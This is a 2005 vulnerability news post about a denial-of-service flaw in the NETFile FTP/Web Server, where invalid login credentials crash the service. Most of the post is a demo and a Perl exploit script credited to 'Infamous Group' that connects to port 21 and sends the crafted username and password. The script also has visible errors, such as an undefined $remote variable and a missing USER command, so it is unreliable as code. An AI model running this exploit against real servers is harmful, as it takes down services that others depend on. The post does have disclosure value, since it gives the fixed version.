Main Menu
Network
Sponsor
Top 10 Sites
Partners
|
|
Top Submit newsSubscribe 
Communication | Computer Crime | Digital Audio, Video, Photo | General News | Hardware | Internet | Mobile | PDA | Security | Software | Vulnerability |
Previous articleBack to news listNext article
| Sponsored links | Want to become one of our authors and see your work published on ALLSeek.iNFO ?
| | NETFile FTP/Web Server exploit |
|---|
Categorie: Vulnerability
Posted: 2005-03-05 by basher13
Views: 516
| Current Rating: Not rated
|
| | Details |
|---|
Update:
4:58 PM 3/5/2005
Subject:
" NETFile FTP/Web Server exploit "
Description:
Secure, multi-threaded FTP/HTTP server combined, featuring automatic
virtual links, U/D ratios, quotas, authentication and extremely fast
directory and file caches. Other features include: User and group
permissions with permissions for all standard FTP and HTTP commands.
Serving from behind NAT/PAT. HTTP file uploading and management.
Free for personal use; professional license is required for commercial
usage
Bugs:
The program is unable to manage nonexistent usernames in the login
procedure. So attacker can deny the ftp service by sending crafted
USER and PASS strings.The vulnerability is reportedly caused due to
an error within the login procedure of the FTP server.
This may result in the FTP server crashing when receiving invalid user
credentials.This has been reported by Donato Ferrante
Demo:
Connect via FTP ,send username as anUsername
and password aPassword
ftp> o
To 127.0.0.1 21
Username:anUsername
Password:aPassword
close
quit
.
Exploit:
#!/usr/bin/perl
#################################################################
# - Infamous Group -
# NETFile FTP/Web Server exploit
#
#Bugs:Connect to via FTP ,send username as anUsername
#and password as aPassword
#
# http://98.to/infamous
#################################################################
use IO::Socket;
$Myhost = "127.0.0.1";
$command = IO::Socket::INET->new ( Proto => "tcp",
PeerAddr => $Myhost,
PeerPort => "21",
);
unless ($command) { die "cannot connect to NETFile FTP on $Myhost" }
print "FTP connected\n";
while (<$command>)
{
print $_;
if (/220 /)
{
last;
}
}
$remote->autoflush(1);
my $ftp = "anUsername\r\n";
print $command $ftp;
print $ftp;
sleep(1);
while (<$command>)
{
print $_;
if (/331 /)
{
last;
}
}
$ftp = join("", "PASS ", "a\aPassword", "\r\n");
print $command $ftp;
print $ftp;
sleep(1);
while (<$command>)
{
print $_;
if (/230 /)
{
last;
}
}
my $ftp = join ("", "close", "\r\n");
print $command $ftp;
print $ftp;
sleep(1);
while (<$command>)
{
print $_;
if (/250 Done/)
{
last;
}
}
close $command;
Solution:
Bug fixed in the version 6.5.1.981.
Vendor URL:
http://www.fastream.com
Reported by:
basher13 [at]linuxmail.org
Infamous Group - http://98.to/infamous
| | Syndication |
|---|
Permalink Email this
The URI to TrackBack this entry is:
http://allseek.info/news/trackback.php?id=1408
| | User comments (post your comments ) |
|---|
Only registerd members can post comments and articles
|
| Previous articleBack to news listNext article
|
|
|
|
InterJOB.su
|
